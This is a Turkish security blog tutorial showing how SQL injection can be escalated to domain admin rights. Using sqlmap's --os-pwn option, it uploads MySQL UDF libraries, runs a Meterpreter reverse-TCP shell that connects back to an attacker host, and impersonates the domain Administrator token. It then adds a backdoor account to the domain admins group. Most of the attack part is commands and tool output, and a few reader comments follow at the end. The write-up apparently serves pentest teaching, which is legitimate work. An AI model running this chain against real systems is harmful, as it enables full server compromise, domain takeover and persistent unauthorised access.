SQL Injection Aracılığıyla Domain Admin Olma

SQL Injection(+UDF Command Execution) Kullanarak Domain Admin Haklarını Elde Etme

Sql
Injection saldırıları genellikle veri tabanı sistemlerinden bilgi
çalmak için gerçekleştirilmektedir. Veri çalma saldırıları dışında,
hedef sistemin kullandığı veri tabanı sisteminin çalıştığı sunucuda
komut çalıştırma saldırılarıda yapılabilmektedir.

Sql Injection ile komut çalıştırma saldırıları dendiğinde ilk akla gelen, SQL server’ın xp_cmdshell metodudur.
Bu konu ile ilgili BGA tarafından hazırlanan dökümana aşağıda ki
linkten ulaşabilirsiniz. Bu dökümanda MySQL ve PostgreSQL sistemlerine
yapılan saldırılar ele alınmıştır.

MySQL
ve PostgreSQL veri tabanı sistemleri, “shared libraries” desteği
vermektedirler. Shared Libraries için kullanıcıların kendi
tanımladıkları veri tabanı fonksiyonlarının bulunduğu kütüphaneler
diyebiliriz. Eğer bu kütüphanelerin binary halleri, hedef veri tabanı
sisteminin “shared libraries” tanımak için belirttiği dizine
yerleştirilebilirse, özelleştirilmiş bu fonksiyonlar veri tabanı
sistemine dahil edilebilir.

– sys_eval(cmd): Çalışan komutun çıktısı olarak standart çıktıyı döndürür.
– sys_exec(cmd): Çalışan komutun çıktısı olarak durumunu döndürür.

Kullanıcı
taraflı tanımlanmış olan bu iki metod’un bulunduğu kütüphane, hedef
veri tabanı sistemine dahil edilebilirse. Ardından hedef işletim sistemi
üzerinde komut çalıştırılabilmektedir.

Bu
kütüphanelerin kaynak kodlarını görmek için, işletim sistemi ve
mimariye göre sınıflandırılmış olan sqlmap’in github kaynağına göz
atabilirsiniz.

https://github.com/sqlmapproject/udfhack

Hedef
işletim sisteminde komut çalıştırabiliyor olmak, hedef sisteme zararlı
yazılım yükleme işleminide beraberinde getirmektedir. Sqlmap aracı,
hedef sistemi meterpreter ajanı ile ele geçirmek üzere
kullanılabilmektedir. Örnekte bu saldırı ele alınmıştır.

I. Adım = Hedef sistemdeki SQL Injection açığlığının tespit edilmesi

root@bt:/sqlmap# python sqlmap.py -u “http://pentest.hack2net.com/sqli-test.aspx?bgatestID=684”

Hedef sistemde bulunan SQL Injection zafiyeti ile 3 türde saldırı yapılabilmektedir.

Place: GET
Parameter: bgatestID
   Type: error-based
   Title: MySQL >= 5.0 AND error-based – WHERE or HAVING clause

   Type: UNION query
   Title: Generic UNION query (NULL) – 2 columns

   Type: stacked queries
   Title: MySQL > 5.0.11 stacked queries

II. Adım: Hedef sistemesql injection kullanarak  meterpreter ajanı yüklenmesi( –os-pwn parametresi)

root@bt:/sqlmap# python sqlmap.py -u “http://pentest.hack2net.com/sqli-test.aspx?bgatestID=1” –os-pwn

Hedef sistem hakkında bilgilerin girilmesi.

[13:29:45] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.
back-end DBMS: MySQL 5.0
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh – ICMP tunneling
> 1

[13:30:14] [INFO] testing if current user is DBA
[13:30:14] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 2

Hedef
sistemde C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/ dizini
altına kendi kütüphanemiz yüklenmiştir. Bu kütüphane içinde komut
çalıştırabilen 2 adet metod tanımlıdır.

[13:30:23] [INFO] creating UDF ‘sys_bineval’ from the UDF binary file.
[13:30:23] [INFO] creating UDF ‘sys_exec’ from the UDF binary file.
do
you want confirmation that the file ‘C:/Program Files/MySQL/MySQL
Server 5.1/lib/plugin/libsmtqp.dll’ has been successfully written on the
back-end DBMS file system? [Y/n] Y

Hedef
sisteme kütüphanelerin eklenmesi başarıyla gerçekleştirilmiştir. Şimdi
ise hedefe gönderilecek meterpreter ajanının hangi teknik ile
çalıştırılacağı seçilecektir.

Örnekte
2. şık ile hedef sistemin diskine .exe dosyası eklenmesini tercih
edilmiştir. 1.şık ise meterpreter ajanının direk memory üzerinde
çalışması yöntemidir.

[13:30:52]
[INFO] the file has been successfully written and its size is 11264
bytes, same size as the local file
‘/sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll’
[13:30:53] [INFO] creating UDF ‘sys_bineval’ from the binary UDF file
[13:30:53] [INFO] creating UDF ‘sys_exec’ from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database underlying operating system?
[1] Via UDF ‘sys_bineval’ (in-memory way, anti-forensics, default)
[2] Via shellcodeexec (file system way, preferred on 64-bit systems)
> 2

Hedef
işletim sisteminde çalışacak ajanın merkez ile (saldırgan ile) hangi
teknik üzerinden iletişimde bulunacağının tercihi yapılmıştır.
Hedefin
NAT arkasında bir sistem olma ihtimalinden ötürü Reverse TCP tekniği
seçilmiştir. Ardından ise Reverse TCP tekniği ile hangi ip adresinin
hangi portuna bağlantının kurulacağı gibi bilgiler girilmektedir.

[13:31:16] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535
[3] Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP
[4] Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS
[5] Bind TCP: Listen on the database host for a connection
> 1
which is the local address? [11.22.33.44] 11.22.33.44
which local port number do you want to use? [10991] 80
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 1

Hedef sistemde C:/Windows/Temp/shellcodeexec.x32.exe dizinine meterpreter ajanı SQL Injection saldırısı ile yerleştirilmiştir.

[13:31:58] [INFO] creation in progress ……….. done
[13:32:09] [INFO] uploading shellcodeexec to ‘C:/Windows/Temp/shellcodeexec.x32.exe’
[13:32:10] [INFO] adjusting time delay to 1 second due to good response times
do
you want confirmation that the file
‘C:/Windows/Temp/shellcodeexec.x32.exe’ has been successfully written on
the back-end DBMS file system? [Y/n]

“Y”es
butonu ile hedef yerleştirilen meterpreter ajanı çalıştırılmıştır. ve
hedef veri tabanı sisteminin üzerinde çalıştığı işletim sistemi NT
AUTHORITYSYSTEM yetkileri ile ele geçirilmiştir.

Domain Admin Haklarına Geçiş

PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => process
LPORT => 80
LHOST => 11.22.33.44
[*] Started reverse handler on 11.22.33.44:80
[*] Starting the payload handler…
[13:32:48] [INFO] running Metasploit Framework shellcode remotely via shellcodeexec, please wait..
[*] Sending stage (752128 bytes) to 5.5.5.5
[*] Meterpreter session 1 opened (11.22.33.44:80 -> 5.5.5.5:52546) at 2012-08-21
meterpreter > success.
meterpreter > Loading extension incognito…success.
meterpreter > Computer        : BGATEST123
OS              : Windows 2008  
Architecture    : x64 (Current Process is 64)
System Language : en_US
Meterpreter     : x86/win32
meterpreter > Server username: NT AUTHORITYSYSTEM
meterpreter >

meterpreter > impersonate_token TEST_DOMAIN123Administrator
[+] Delegation token available
[+] Successfully impersonated user TEST_DOMAIN123Administrator
meterpreter > getuid
Server username: TEST_DOMAIN123Administrator
meterpreter > shell
Process 9006 created.
Channel 1 created.
Microsoft Windows Server 2008 [Version 7.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:WINDOWSsystem32> whoami
TEST_DOMAIN123administrator

C:WINDOWSsystem32> net user bgatest bGa_pass123 /add /TEST_DOMAIN123
The command completed successfully.

C:WINDOWSsystem32> net group “TEST_DOMAIN123 Admins” bgatest /add /TEST_DOMAIN123
The command completed successfully.

MEHMET INCE – mehmet.ince@bga.com.tr

4 Yorum

  1. Ömer Albayrak 25 Ağustos 2014 12:49

    Evet, yetkili olması gerekiyor.

  2. Adsız 25 Ağustos 2014 12:41

    Tabii bunda hedef sistem kullanıcısının dba olması gerekir, öyle değil mi?

  3. Adsız 17 Mart 2014 19:40

    Birde bu konu güncellenirse iyi olur

  4. Adsız 17 Mart 2014 19:39

    güzel döküman eyv ama benım kafa dolu galiba birşey anlamadım 🙂

Yorum Yaz

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

*
*

Mail listemize üye olarak eğitim fırsatlarını kaçırmayın!
Eğitim ve ücretsiz etkinliklerizden haberdar olmak için e-posta listesimize üye olun!.